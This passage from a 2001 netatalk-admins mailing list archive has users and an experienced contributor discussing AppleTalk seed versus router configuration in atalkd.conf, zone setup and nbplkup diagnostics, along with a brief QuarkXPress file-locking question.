Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id HAA06979
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 27 Nov 2001 07:31:23 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id HAA05847
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 27 Nov 2001 07:31:23 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id HAA05829
	for netatalk.administrators-members@umich.edu; Tue, 27 Nov 2001 07:31:22 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id HAA05784
	for <netatalk-admins@umich.edu>; Tue, 27 Nov 2001 07:31:21 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id NAA29923;
	Tue, 27 Nov 2001 13:53:10 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Tue, 27 Nov 2001 13:31:04 +0100
Subject: Re: zones in netalk
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: <gmac63@carolina.rr.com>, <netatalk-admins@umich.edu>
Message-ID: <B8294617.152EA%Thomas.Kaiser@phg-online.de>
In-Reply-To: <01112706244400.01607@link6>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Tue, 27 Nov 2001 06:24:44 -0500, gmac63 wrote:

> AppleTalk routing via Netatalk is so confusing.

No ;-)

The only thing that's confusing is the ability to establish zones without
doing "real" AppleTalk routing, IMHO (the '-router' switch)

> I had originally put -seed into my atalkd.conf file and "broke" my network.

Well, you should understand what "-seed" means ;-)

> So much for trying to work on the network while others are there :)

AppleTalk is self-configuring with minimum need for administration for
AppleTalk Devices themselves. The only things, that have to be configured
are

- Routing

- Zones

If you change something with this, all affected AppleTalk Devices have to
learn the new configuration and therefore currently established network
connections (AppleTalk-only) will be lost.

Some basic information on AppleTalk Routing and the concepts behind is
available here: 

    <http://www.neon.com/atalk_routing.html>

Basic knowledge about the various AppleTalk protocols can be found here:

    <http://www.protocols.com/pbook/appletalk.htm>

> Say, I have three NICs and only need one zone, but I want to route between
> the three. 

Easy. But, you have to understand that routing is one thing and establishing
zones is another. Zones and AppleTalk-segments are completely independent
from another. You can publish more than one zone per segment and also map
one zone to several segments.

So for your needs, you should just let atalkd publish the same zone name in
every segment.

> If I inderstand you, -seed will allow for multiple NICs/zones

No, definitely not.

There are two types of AppleTalk Routers. Seed- and non-seed routers. A seed
router spreads it's configuration into the net, so all directly connected
AppleTalk Devices can 'learn' their configuration from him. A non-seed
router will have to learn it's routing configuration from seed-routers on
the net. So a non-seed router will try to find out which AppleTalk
configuration is legal on each interface. Of course, you can mix this, e.g.
let netatalk play the role of an AppleTalk seed-router on eth0 -- but on
eth1, just learn the configuration from an already active AppleTalk-Router
on this wire.

> and -router will route multiple zones on one NIC. Is that the "rule"?

'-router' will enable you to publish zones even if you only use one single
interface for AppleTalk (which might confuse some AppleTalk devices, IMHO --
I never used it)

> So, basically, -seed and -router do the same...? -seed is for multiple
> NICs....?

No ;-)

The '-router' switch will only be useful in situations with one NIC
configured for AppleTalk use. Otherwise Netatalk won't behave like a router
(routing between 1 subnet is impossible, isn't it), so '-router' fakes
something.

> Also, one very confusing thing. As I'm reading about AppleTalk (ughhh) and
> how it assigns networks and addresses (double ugh),

Hmm... do you know any smarter methods for self-administering networks?
I don't ;-)

> I understand that AppleTalk devices start off with a certain "standard startup
> network range" of between 65280-65534.

Yes, this is true. The devices will stay inside this range, if no routers
are present. Otherwise those network ranges will be used, that an AppleTalk
router established for the segment (valid in the range 1-65279 AFAIR)

> When I start Netatalk with -seed or -router, it "captures" or some devices
> spontaneously change their network address...!

Well, you switched your AppleTalk-LAN from an unrouted to a routed
environment. In the latter case, addresses from within the startup range are
illegal.

> Is this normal? 

Of course.

> Below are a few attempts at making the three work. From atalkd.conf:

One remark: Each of the three NICs should be on a different segment. If two
of them are plugged into the same switch/hub, problems will appear with
netranges.

> This turns on transition routing between the le0 and le1
> #       interfaces on a Sun.  It also causes atalkd to fail if other
> #       routers disagree about it's configuration of le1.
> #
> ### Worked, but broke the network

What do you mean with 'broke the network'. If you switch from unrouted to
routed LAN, all the AppleTalk-Devices will have to reassign themselves
AppleTalk-adresses. It might be necessary to restart all the macs or better
just open and close the AppleTalk control panel on every machine.

> # 11/24 shut off all appleT devices and started with this configuration.
> # it worked for all devices restarted so far. See on Monday.
> #eth0 -router -phase 2 -net 1-20 -addr 1.10 -zone "*"
> #eth1 -router -phase 2 -net 21-40 -addr 21.10 -zone "*"
> #eth2 -router -phase 2 -net 41-60 -addr 41.10 -zone "*"

Try to avoid the '-router' switch in a setup with more than one NIC

> ### Worked, but broke the network
> #eth0 -seed -phase 2 -net 1-20 -addr 1.10 -zone "*"
> #eth1 -seed -phase 2 -net 21-40 -addr 21.10 -zone "*"
> #eth2 -seed -phase 2 -net 41-60 -addr 41.10 -zone "*"

This should be okay. But you can also use a 'real' zone name, because '*' is
the sign for 'standard zone' (another magic AppleTalk thing -- if you have
more than one zone per segment, than there must be one standard zone [always
the first zone name in an atalkd.conf configuration entry]. Dumb AppleTalk
devices like Laserprinters will register themselves in the standard zone.
More intelligent devices can be manually assigned a zone, for example on
macs with the AppleTalk control panel.)

Even if you use a zone name like "there are three segments", the chooser
won't display this name if it is the same in all segments. It will look like

> ### test to see if eth0 will be a router and if it
> # can seed the other nics.
> eth0 -router -phase 2 -net 1-20 -addr 1.11 -zone "*"
> eth1 -seed -phase 2 -net 21-40 -addr 21.10 -zone "*"
> eth2 -seed -phase 2 -net 41-60 -addr 41.10 -zone "*"
> 
> If you have any suggestions other than those mentioned to Kathy Quinlan, let
> me know. 

Let all the people have a break (or better wait until evening ;-)

Shut down all your AppleTalk Devices (including Laserwriters, etc -- look
into your LAN via '/usr/bin/nbplkup' for remaining devices). Set up your
routing as example two above. Restart AppleTalk and watch for errors in your
syslog. Look with '/usr/bin/getzones' and nbplkup if everything is set up
like expected. Turn on one mac per segment and look one more time with
nbplkup, whether they appear within the correct netranges. Fire up all NT
and Novell machines (if there are any) to see whether they publish
themselves within illegal netranges (their AppleTalk-implementations are
very poor). Finally switch on the rest. You're done.

There might be problems with NT machines (novell too) that try to act like a
seed router or simply disagree with atalkd's configuration. You will also
have trouble when Spanning Tree Protocol is active on any port of your
Switch to which an AppleTalk device is connected. But these sort of problems
can be nailed down with nbplkup almost every time.

> I wish there was some adequate Netatalk routing documentation that
> explains -seed vs -router and having multiple NICs and zones.

I thought, this is explained in atalkd.conf? Perhaps we need some more
detailled information about AppleTalk routing in general? Maybe this sort
of documentation will find its way into the docs of the final 1.5 release?

Let's see ;-)

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Tue Nov 27 08:02:37 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA07876
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 27 Nov 2001 08:02:37 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id IAA06322
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 27 Nov 2001 08:02:37 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id IAA06304
	for netatalk.administrators-members@umich.edu; Tue, 27 Nov 2001 08:02:37 -0500 (EST)
Received: from galilee.fr (mailhost.galilee.fr [62.160.79.156])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id IAA06264
	for <netatalk-admins@umich.edu>; Tue, 27 Nov 2001 08:02:35 -0500 (EST)
Received: from [62.160.79.129] (HELO [192.168.1.8])
  by galilee.fr (CommuniGate Pro SMTP 3.4.8)
  with ESMTP id 1456872 for netatalk-admins@umich.edu; Tue, 27 Nov 2001 14:06:30 +0100
User-Agent: Microsoft-Entourage/9.0.1.3108
Date: Tue, 27 Nov 2001 14:05:33 +0100
Subject: Quark
From: Kalil karamy <kkaramy@galilee.fr>
To: <netatalk-admins@umich.edu>
Message-ID: <B8294E2C.F662%kkaramy@galilee.fr>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Hi all,

I have lot difficult with QuarkXpress 4.X when I save file, I get an error
like "file is locked"

I use netatalk-1.5pre6-1rh7 on Linux RedHat 7.0

Any idea ?

Kalil


From netatalk.administrators-errors@umich.edu  Tue Nov 27 08:08:23 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA08035
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 27 Nov 2001 08:08:23 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id IAA12811
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 27 Nov 2001 08:08:23 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id IAA12801
	for netatalk.administrators-members@umich.edu; Tue, 27 Nov 2001 08:08:23 -0500 (EST)
Received: from mailin7.bigpond.com (mailin7.bigpond.com [139.134.6.95])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id IAA12661
	for <netatalk-admins@umich.edu>; Tue, 27 Nov 2001 08:08:17 -0500 (EST)
Received: from wskatinka ([144.135.24.78]) by
          mailin7.bigpond.com (Netscape Messaging Server 4.15) with SMTP
          id GNGNGS00.9XH; Tue, 27 Nov 2001 23:14:52 +1000 
Received: from 144.137.224.31 ([144.137.224.31]) by bwmam04.mailsvc.email.bigpond.com(MailRouter V2.9k 8329/27352036); 27 Nov 2001 23:08:04
Message-ID: <001401c17745$3e56a8c0$fe00a8c0@wskatinka>
From: "Kathy Quinlan" <katinka@magestower.com>
To: "Thomas Kaiser" <Thomas.Kaiser@phg-online.de>, <netatalk-admins@umich.edu>
References: <B828FA24.152A7%Thomas.Kaiser@phg-online.de>
Subject: Re: zones in netalk
Date: Tue, 27 Nov 2001 21:12:56 +0800
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4807.1700
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700

Ok now got zones woohoooo

But my LC3 keeps loosing the apple talk network, It still keeps running on
TCP/IP <shrug>

from netstat -r I get :

AppleTalk:
Destination        Gateway            Flags      Netif Expire
0                  0.0                U           lo0
1                  10.142             U           ed0
2-3                10.142             U           ed0
4-7                10.142             U           ed0
8-15               10.142             U           ed0
10.142             0.0                UH          lo0
16-19              10.142             U           ed0
20                 10.142             U           ed0

from nbplkup I get :

serverbsd# nbplkup
                      serverbsd:AFPServer
10.142:132
                      serverbsd:netatalk                           10.142:4
                      serverbsd:Workstation                        10.142:4
0A57F05EA07744042000A6@WSKATINKA:Microsoft( Windows 2000* Prt       5.243:2

I can select a zone in M$ win2k, but I do not know how to see the LC3 or the
LC3 to see me (I want the LC3 to use my HDD and Printers)

Any Ideas ??

I know this is slightly off netatalk but......

Regards,

Kat.

____________________________________________________________________________
 /"\   ASCII Ribbon Campaign  |        K.A.Q. Electronics
 \ / - NO HTML/RTF in e-mail | Software and Electronic Engineering
 X  - NO Word docs in e-mail  |      Perth Western Australia
 / \                                            |        Ph +61 419 923 731
____________________________________________________________________________


----- Original Message -----
From: "Thomas Kaiser" <Thomas.Kaiser@phg-online.de>
To: "Kathy Quinlan" <katinka@magestower.com>; <netatalk-admins@umich.edu>
Sent: Tuesday, November 27, 2001 3:07 PM
Subject: Re: zones in netalk


> On Tue, 27 Nov 2001 12:11:30 +0800, Kathy Quinlan wrote:
>
> > I have a line in my /usr/local/etc/atalkd.conf :
> >
> > #ed0 -seed -phase 2 -net 0-65534 -addr 65280.185 -zone "home"
> >
> > but every time netatalk starts, it removes the - zone "home" and no
zones
> > are install :o(
>
> Normally, atalkd will only publish zones if you use it as a router. That
> means you specify more than two interfaces for use with atalkd, eg.:
>
> ed0 -seed -phase 2 -net 1-20 -addr 10.142 -zone "my first zone" -zone
"home"
> ed1 -seed -phase 2 -net 21-40 -addr 21.142 -zone "my second zone"
>
> (netranges have to stay unique)
>
> atalkd also supports a switch "-router". With it you can publish zones
even
> if you are using only one interface:
>
> ed0 -router -seed -phase 2 -net 1-20 -addr 10.142 -zone "my first zone" \
>     -zone "my second zone" -zone "home"
>
> References:
> <http://www.transit.hanse.de/netatalk/router.html>,
> <http://www.umich.edu/~rsug/netatalk/archive/admins/1999/2163.html>
>
> Regards,
>
> Thomas
>


From netatalk.administrators-errors@umich.edu  Tue Nov 27 08:29:31 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA08939
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 27 Nov 2001 08:29:31 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id IAA12201
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 27 Nov 2001 08:29:31 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id IAA12188
	for netatalk.administrators-members@umich.edu; Tue, 27 Nov 2001 08:29:30 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id IAA12145
	for <netatalk-admins@umich.edu>; Tue, 27 Nov 2001 08:29:29 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id OAA30277;
	Tue, 27 Nov 2001 14:51:32 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Tue, 27 Nov 2001 14:29:26 +0100
Subject: Re: zones in netalk
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Kathy Quinlan <katinka@magestower.com>, <netatalk-admins@umich.edu>
Message-ID: <B82953C5.15307%Thomas.Kaiser@phg-online.de>
In-Reply-To: <001401c17745$3e56a8c0$fe00a8c0@wskatinka>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Date: Tue, 27 Nov 2001 21:12:56 +0800, Kathy Quinlan wrote:

> serverbsd# nbplkup

One remark: If you use 'nbplkup' without arguments it will only look into
the default zone. To let it watch other zones, you should supply the zone
name, eg.: 'nbplkup "@my first zone"'

> serverbsd:AFPServer                          10.142:132
> serverbsd:netatalk                           10.142:4
> serverbsd:Workstation                        10.142:4
> 0A57F05EA07744042000A6@WSKATINKA:Microsoft( Windows 2000* Prt       5.243:2

Win2K workstation? If you haven't installed PCMacLAN, MacServerIP or
Extreme-Z IP you cannot use the ressources of this machine, because Win2K
workstation speaks AppleTalk but offers no AppleTalk-Services like AFP (for
FileSharing) or PAP (for PrinterSharing).

> I can select a zone in M$ win2k, but I do not know how to see the LC3

The only thing, Win2K Workstation can do with AppleTalk, is connecting to
AppleTalk printers via PAP. So you won't ever 'see' the LC3.

> or the LC3 to see me

Same as above. This won't work with Workstation unless you install
third-party software.

> (I want the LC3 to use my HDD and Printers)

Why do you need zones for that?

> Any Ideas ??

Hmm... The LC3 doesn't appear in your nbplkup output. Maybe he is confused
by the '-router' setup or maybe he only speaks AppleTalk Phase 1 and can't
cope with AppleTalk-Routing at all...

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Tue Nov 27 10:25:03 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA14945
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 27 Nov 2001 10:25:03 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id KAA29883
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 27 Nov 2001 10:25:03 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id KAA29867
	for netatalk.administrators-members@umich.edu; Tue, 27 Nov 2001 10:25:02 -0500 (EST)
Received: from mail7.carolina.rr.com (fe7.southeast.rr.com [24.93.67.54])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id KAA29830
	for <netatalk-admins@umich.edu>; Tue, 27 Nov 2001 10:25:01 -0500 (EST)
Received: from [192.168.110.21] ([199.72.99.66]) by mail7.carolina.rr.com  with Microsoft SMTPSVC(5.5.1877.687.68);
	 Tue, 27 Nov 2001 10:25:01 -0500
Mime-Version: 1.0
X-Sender: gmac63@pop-server.carolina.rr.com
Message-Id: <a05010400b8295474fc1f@[192.168.110.21]>
In-Reply-To: <B8294617.152EA%Thomas.Kaiser@phg-online.de>
References: <B8294617.152EA%Thomas.Kaiser@phg-online.de>
Date: Tue, 27 Nov 2001 10:24:59 -0500
To: netatalk-admins@umich.edu
From: Wes Yates <gmac63@carolina.rr.com>
Subject: Re: zones in netalk
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

>On Tue, 27 Nov 2001 06:24:44 -0500, gmac63 wrote:
>
>>  AppleTalk routing via Netatalk is so confusing.
>
>No ;-)

to you ;-) Actually, its the "mental conversion" between the logical 
TCP/IP and AppleTalk.

>
>The only thing that's confusing is the ability to establish zones without
>doing "real" AppleTalk routing, IMHO (the '-router' switch)
>
>>  I had originally put -seed into my atalkd.conf file and "broke" my network.
>
>Well, you should understand what "-seed" means ;-)

>
>>  So much for trying to work on the network while others are there :)
>
>AppleTalk is self-configuring with minimum need for administration for
>AppleTalk Devices themselves. The only things, that have to be configured
>are
>
>- Routing
>
>- Zones
>
>If you change something with this, all affected AppleTalk Devices have to
>learn the new configuration and therefore currently established network
>connections (AppleTalk-only) will be lost.
>
>Some basic information on AppleTalk Routing and the concepts behind is
>available here:
>
>     <http://www.neon.com/atalk_routing.html>

Wonderful site! taught me this much about AppleTalk!

>
>Basic knowledge about the various AppleTalk protocols can be found here:
>
>     <http://www.protocols.com/pbook/appletalk.htm>
>
>>  Say, I have three NICs and only need one zone, but I want to route between
>>  the three.
>
>Easy. But, you have to understand that routing is one thing and establishing
>zones is another. Zones and AppleTalk-segments are completely independent
>from another. You can publish more than one zone per segment and also map
>one zone to several segments.
>
>So for your needs, you should just let atalkd publish the same zone name in
>every segment.

In my case the default "*". I usually don't give a zone, but in my 
tries, I had put -zone "*"

>  > If I inderstand you, -seed will allow for multiple NICs/zones
>
>No, definitely not.
>
>There are two types of AppleTalk Routers. Seed- and non-seed routers. A seed
>router spreads it's configuration into the net, so all directly connected
>AppleTalk Devices can 'learn' their configuration from him. A non-seed

Directly the problem I had with devices changing Appletalk net/node addresses!

>router will have to learn it's routing configuration from seed-routers on
>the net. So a non-seed router will try to find out which AppleTalk
>configuration is legal on each interface. Of course, you can mix this, e.g.
>let netatalk play the role of an AppleTalk seed-router on eth0 -- but on
>eth1, just learn the configuration from an already active AppleTalk-Router
>on this wire.
>
>>  and -router will route multiple zones on one NIC. Is that the "rule"?
>
>'-router' will enable you to publish zones even if you only use one single
>interface for AppleTalk (which might confuse some AppleTalk devices, IMHO --
>I never used it)
>
>>  So, basically, -seed and -router do the same...? -seed is for multiple
>>  NICs....?
>
>No ;-)
>
>The '-router' switch will only be useful in situations with one NIC
>configured for AppleTalk use. Otherwise Netatalk won't behave like a router
>(routing between 1 subnet is impossible, isn't it), so '-router' fakes
>something.

Ahhhhhh.

>
>>  Also, one very confusing thing. As I'm reading about AppleTalk (ughhh) and
>>  how it assigns networks and addresses (double ugh),
>
>Hmm... do you know any smarter methods for self-administering networks?
>I don't ;-)

I appreciate AppleTalk over TCP/IP (ASIP) more. Not 
self-administering, but that is just me.

>
>>  I understand that AppleTalk devices start off with a certain 
>>"standard startup
>>  network range" of between 65280-65534.
>
>Yes, this is true. The devices will stay inside this range, if no routers
>are present. Otherwise those network ranges will be used, that an AppleTalk
router established for the segment (valid in the range 1-65279 AFAIR)
>  > When I start Netatalk with -seed or -router, it "captures" or some devices
>>  spontaneously change their network address...!
>
>Well, you switched your AppleTalk-LAN from an unrouted to a routed
>environment. In the latter case, addresses from within the startup range are
>illegal.

yes, I found _that_ out. Not too bad, except two devices didn't want 
to "play appletalk" and switch to my assigned net addresses.

>  > Is this normal?
>
>Of course.
>
>>  Below are a few attempts at making the three work. From atalkd.conf:
>
>One remark: Each of the three NICs should be on a different segment. If two
>of them are plugged into the same switch/hub, problems will appear with
>netranges.

They are on separate physical segments.

>  > This turns on transition routing between the le0 and le1
>>  #       interfaces on a Sun.  It also causes atalkd to fail if other
>>  #       routers disagree about it's configuration of le1.
>>  #
>>  ### Worked, but broke the network
>
>What do you mean with 'broke the network'. If you switch from unrouted to
>routed LAN, all the AppleTalk-Devices will have to reassign themselves
>AppleTalk-adresses. It might be necessary to restart all the macs or better
>just open and close the AppleTalk control panel on every machine.

"broke" in the sense that some appletalk devices switched their 
Appletalk addresses and became invisible to the rest of the network. 
This was my ignorance of how -seed and -router worked. Once started 
in that configuration, some devices lost contact with others via 
Appletalk. Once I turned off netatalk, the problems fixed themselves.

>  > # 11/24 shut off all appleT devices and started with this configuration.
>>  # it worked for all devices restarted so far. See on Monday.
>>  #eth0 -router -phase 2 -net 1-20 -addr 1.10 -zone "*"
>>  #eth1 -router -phase 2 -net 21-40 -addr 21.10 -zone "*"
>>  #eth2 -router -phase 2 -net 41-60 -addr 41.10 -zone "*"
>
>Try to avoid the '-router' switch in a setup with more than one NIC

Good to know.

>  > ### Worked, but broke the network
>>  #eth0 -seed -phase 2 -net 1-20 -addr 1.10 -zone "*"
>>  #eth1 -seed -phase 2 -net 21-40 -addr 21.10 -zone "*"
>  > #eth2 -seed -phase 2 -net 41-60 -addr 41.10 -zone "*"
>
>This should be okay. But you can also use a 'real' zone name, because '*' is
>the sign for 'standard zone' (another magic AppleTalk thing -- if you have
>more than one zone per segment, than there must be one standard zone [always
>the first zone name in an atalkd.conf configuration entry]. Dumb AppleTalk

Ah, cool. I didn't know that. I'll use this configuration then (with zones ;).

But I _will_ have to use -seed with multiple NICs, yes?

>devices like Laserprinters will register themselves in the standard zone.
>More intelligent devices can be manually assigned a zone, for example on
>macs with the AppleTalk control panel.)
>
>Even if you use a zone name like "there are three segments", the chooser
>won't display this name if it is the same in all segments. It will look like
>
>>  ### test to see if eth0 will be a router and if it
>>  # can seed the other nics.
>>  eth0 -router -phase 2 -net 1-20 -addr 1.11 -zone "*"
>>  eth1 -seed -phase 2 -net 21-40 -addr 21.10 -zone "*"
>>  eth2 -seed -phase 2 -net 41-60 -addr 41.10 -zone "*"
>>
>>  If you have any suggestions other than those mentioned to Kathy Quinlan, let
>>  me know.
>
>Let all the people have a break (or better wait until evening ;-)

I had :-) I had to undo what I had done before because two simple 
little epson printers have to have their Appletalk address ranges put 
in, but that will be fixed soon.

>Shut down all your AppleTalk Devices (including Laserwriters, etc -- look
>into your LAN via '/usr/bin/nbplkup' for remaining devices). Set up your
>routing as example two above. Restart AppleTalk and watch for errors in your
>syslog. Look with '/usr/bin/getzones' and nbplkup if everything is set up
>like expected. Turn on one mac per segment and look one more time with
>nbplkup, whether they appear within the correct netranges. Fire up all NT
>and Novell machines (if there are any) to see whether they publish

No Novel. NT machines publishing Atalk are fine. Slow, but they have 
no problems with Netatalk.

>themselves within illegal netranges (their AppleTalk-implementations are
>very poor). Finally switch on the rest. You're done.

NS! I don't like NT AppleTalk implementations. It works mind you, but 
It isn't ASIP... well not in NT 4 or less.

>There might be problems with NT machines (novell too) that try to act like a
>seed router or simply disagree with atalkd's configuration. You will also
>have trouble when Spanning Tree Protocol is active on any port of your
>Switch to which an AppleTalk device is connected. But these sort of problems
>can be nailed down with nbplkup almost every time.
>
>>  I wish there was some adequate Netatalk routing documentation that
>>  explains -seed vs -router and having multiple NICs and zones.
>
>I thought, this is explained in atalkd.conf? Perhaps we need some more
>detailled information about AppleTalk routing in general? Maybe this sort
>of documentation will find its way into the docs of the final 1.5 release?

Ummmm. To a degree. Yours was very helpful! I mean, the information I 
have seen, and that's a lot, is very good and understandable -- hence 
I've gotten _this_ far. And the above AppleTalk sites are tremendous 
sources of information. Its just that I have found little to fully 
explain the effects of the atalkd.conf configuration. If the Netatalk 
package contained a digest like a HOWTO. I know Anders Brownworth has 
one, and its good. But if there was a LDP version of Netatalk-HOWTO 
covering most all aspects of Netatalk -- or perhaps there is one 
coming soon???

>Let's see ;-)
>
>Regards,
>
>Thomas

Thanks for such as great lesson in Netatalk configuration. It helped 
me out a lot. Mostly I was guessing how to configure the network and 
get AppleTalk routing to work. Good to know I wasn't too far off ;)

Thanks!
-Wes Yates
-- 

-Wes Yates
gmac63@carolina.rr.com
wesyates.homeip.net

-----------------------------------------------------------------------
"The source flows through all living things, some more than others. Only
those in tune with the source are worthy of being called, Jedi.

Proprietary code leads to fear... fear leads to anger... anger leads 
to hate... hate leads to suffering!"

~spot, Jedi master

From netatalk.administrators-errors@umich.edu  Tue Nov 27 10:26:52 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA15017
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 27 Nov 2001 10:26:52 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id KAA03259
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 27 Nov 2001 10:26:52 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id KAA03245
	for netatalk.administrators-members@umich.edu; Tue, 27 Nov 2001 10:26:51 -0500 (EST)
Received: from Mail6.Carolina.rr.com (fe6.southeast.rr.com [24.93.67.53])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id KAA03217
	for <netatalk-admins@umich.edu>; Tue, 27 Nov 2001 10:26:50 -0500 (EST)
Received: from [192.168.110.21] ([199.72.99.66]) by Mail6.Carolina.rr.com  with Microsoft SMTPSVC(5.5.1877.687.68);
	 Tue, 27 Nov 2001 10:26:44 -0500
Mime-Version: 1.0
X-Sender: gmac63@pop-server.carolina.rr.com
Message-Id: <a05010401b82960dbe686@[192.168.110.21]>
In-Reply-To: <B8294E2C.F662%kkaramy@galilee.fr>
References: <B8294E2C.F662%kkaramy@galilee.fr>
Date: Tue, 27 Nov 2001 10:26:43 -0500
To: netatalk-admins@umich.edu
From: Wes Yates <gmac63@carolina.rr.com>
Subject: Re: Quark
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

>Hi all,
>
>I have lot difficult with QuarkXpress 4.X when I save file, I get an error
>like "file is locked"
>
>I use netatalk-1.5pre6-1rh7 on Linux RedHat 7.0
>
>Any idea ?
>
>Kalil

Save the file to your desktop, _quit Quark_ and copy the file to the 
server, replacing the old file. That usually works for me. Any "funny 
characters" in the name?

-Wes
-- 

-Wes Yates
gmac63@carolina.rr.com
wesyates.homeip.net


The opinions stated in this email are not necessarily those of the 
League of Anti-Semitic Jews. 

From netatalk.administrators-errors@umich.edu  Tue Nov 27 11:20:49 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA18432
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 27 Nov 2001 11:20:49 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id LAA18745
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 27 Nov 2001 11:20:49 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id LAA18724
	for netatalk.administrators-members@umich.edu; Tue, 27 Nov 2001 11:20:48 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id LAA18684
	for <netatalk-admins@umich.edu>; Tue, 27 Nov 2001 11:20:47 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id RAA31338;
	Tue, 27 Nov 2001 17:42:39 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
